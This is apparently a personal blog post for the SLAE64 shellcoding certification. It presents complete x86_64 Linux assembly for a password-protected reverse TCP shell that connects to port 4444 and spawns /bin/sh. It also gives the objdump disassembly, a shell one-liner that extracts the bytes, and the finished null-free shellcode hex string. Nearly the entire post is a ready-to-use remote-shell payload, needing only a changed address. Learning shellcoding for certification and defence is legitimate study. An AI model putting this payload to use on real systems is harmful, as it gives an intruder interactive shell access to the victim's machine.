Saturday, May 6, 2017

Linux x86_64 Reverse Shell w/ password

So this is my first assignment for the x86_64 Assembly and Shellcoding Expert (SLAE64) certification requirements. The assignment was to create shellcode that will spawn a reverse TCP shell that requires a password. 


global _start


_start:

 ; sock = socket(AF_INET, SOCK_STREAM, 0)
 ; AF_INET = 2
 ; SOCK_STREAM = 1
 ; syscall number 41 

 xor rax, rax
 mov al, 41
 xor rdi, rdi 
 mov dil, 2
 xor rsi, rsi 
 mov sil, 1
 xor rdx, rdx 
 syscall

 ; copy socket descriptor to rdi for future use 

 mov rdi, rax


 ; server.sin_family = AF_INET 
 ; server.sin_port = htons(PORT)
 ; server.sin_addr.s_addr = inet_addr("127.0.0.1")
 ; bzero(&server.sin_zero, 8)

 xor rax, rax 
 push rax
 mov dword [rsp-4], 0x0100007f ; IP address 127.0.0.1
 mov word [rsp-6], 0x5c11 ; port 4444
 mov byte [rsp-8], 0x2
 sub rsp, 8


 ; connect(sock, (struct sockaddr *)&server, sockaddr_len)
 
 xor rax, rax 
 mov al, 42
 mov rsi, rsp
 xor rdx, rdx 
 mov dl, 16
 syscall


        ; duplicate sockets

        ; dup2 (new, old)
        
 xor rax, rax
 mov al, 33
 xor rsi, rsi
 syscall

 xor rax, rax        
 mov al, 33
 xor rsi, rsi        
 mov sil, 1
 syscall

 xor rax, rax
 mov al, 33
 xor rsi, rsi
 mov sil, 2
 syscall


 password_check:
     
 push rsp
 pop rsi
 xor rax, rax      ; system read syscall value is 0 so rax is set to 0
 syscall
 push 0x73736170  ;password 'pass'
 pop rax
 lea rdi, [rel rsi]
 scasd             ; comparing the user input and stored password in the stack
 jne Exit      

 ; execve

 ; First NULL push

 xor rax, rax
 push rax
 mov rbx, 0x68732f2f6e69622f     ; push /bin//sh in reverse
 push rbx
 mov rdi, rsp     ; store /bin//sh address in RDI
 push rax    ; Second NULL push
 mov rdx, rsp   ; set RDX
 push rdi   ; Push address of /bin//sh
 mov rsi, rsp   ; set RSI

        ; Call the Execve syscall
 add rax, 59
 syscall

 Exit:
  ;Exit shellcode if password is wrong
  
 push 0x3c
 pop rax           ;syscall number for exit is 60
 xor rdi, rdi
 syscall
 

So now that I have the my shell written, I need to compile it.

nasm -f elf64 RevShellpass.nasm -o Revshellpass.o

Now to run objdump to see if there are any nulls.

objdump -d RevShellpass.o -M intel

The output shows there are no nulls, save the nulls inherent in the IP address 127.0.0.1 that I used for testing purposes. (highlighted in yellow)

RevShellpass.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:    48 31 c0                 xor    rax,rax
   3:    b0 29                    mov    al,0x29
   5:    48 31 ff                 xor    rdi,rdi
   8:    40 b7 02                 mov    dil,0x2
   b:    48 31 f6                 xor    rsi,rsi
   e:    40 b6 01                 mov    sil,0x1
  11:    48 31 d2                 xor    rdx,rdx
  14:    0f 05                    syscall
  16:    48 89 c7                 mov    rdi,rax
  19:    48 31 c0                 xor    rax,rax
  1c:    50                       push   rax
  1d:    c7 44 24 fc 7f 00 00     mov    DWORD PTR [rsp-0x4],0x100007f
  24:    01
  25:    66 c7 44 24 fa 11 5c     mov    WORD PTR [rsp-0x6],0x5c11
  2c:    c6 44 24 f8 02           mov    BYTE PTR [rsp-0x8],0x2
  31:    48 83 ec 08              sub    rsp,0x8
  35:    48 31 c0                 xor    rax,rax
  38:    b0 2a                    mov    al,0x2a
  3a:    48 89 e6                 mov    rsi,rsp
  3d:    48 31 d2                 xor    rdx,rdx
  40:    b2 10                    mov    dl,0x10
  42:    0f 05                    syscall
  44:    48 31 c0                 xor    rax,rax
  47:    b0 21                    mov    al,0x21
  49:    48 31 f6                 xor    rsi,rsi
  4c:    0f 05                    syscall
  4e:    48 31 c0                 xor    rax,rax
  51:    b0 21                    mov    al,0x21
  53:    48 31 f6                 xor    rsi,rsi
  56:    40 b6 01                 mov    sil,0x1
  59:    0f 05                    syscall
  5b:    48 31 c0                 xor    rax,rax
  5e:    b0 21                    mov    al,0x21
  60:    48 31 f6                 xor    rsi,rsi
  63:    40 b6 02                 mov    sil,0x2
  66:    0f 05                    syscall

0000000000000068 <password_check>:
  68:    54                       push   rsp
  69:    5e                       pop    rsi
  6a:    48 31 c0                 xor    rax,rax
  6d:    0f 05                    syscall
  6f:    68 70 61 73 73           push   0x73736170
  74:    58                       pop    rax
  75:    48 8d 3e                 lea    rdi,[rsi]
  78:    af                       scas   eax,DWORD PTR es:[rdi]
  79:    75 20                    jne    9b <Exit>
  7b:    48 31 c0                 xor    rax,rax
  7e:    50                       push   rax
  7f:    48 bb 2f 62 69 6e 2f     movabs rbx,0x68732f2f6e69622f
  86:    2f 73 68
  89:    53                       push   rbx
  8a:    48 89 e7                 mov    rdi,rsp
  8d:    50                       push   rax
  8e:    48 89 e2                 mov    rdx,rsp
  91:    57                       push   rdi
  92:    48 89 e6                 mov    rsi,rsp
  95:    48 83 c0 3b              add    rax,0x3b
  99:    0f 05                    syscall

000000000000009b <Exit>:
  9b:    6a 3c                    push   0x3c
  9d:    58                       pop    rax
  9e:    48 31 ff                 xor    rdi,rdi
  a1:    0f 05                    syscall

Now that there are no nulls in the shellcode, time to pull the hex out of the objdump output.

for i in $(objdump -d RevShellpass.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

\x48\x31\xc0\xb0\x29\x48\x31\xff\x40\xb7\x02\x48\x31\xf6\x40\xb6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x00\x00\x01\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x31\xc0\xb0\x2a\x48\x89\xe6\x48\x31\xd2\xb2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x40\xb6\x01\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x40\xb6\x02\x0f\x05\x54\x5e\x48\x31\xc0\x0f\x05\x68\x70\x61\x73\x73\x58\x48\x8d\x3e\xaf\x75\x20\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05

Linking it with ld to test it as a standalone binary

ld RevShellpass.o -o RevShellpass

No comments:

Post a Comment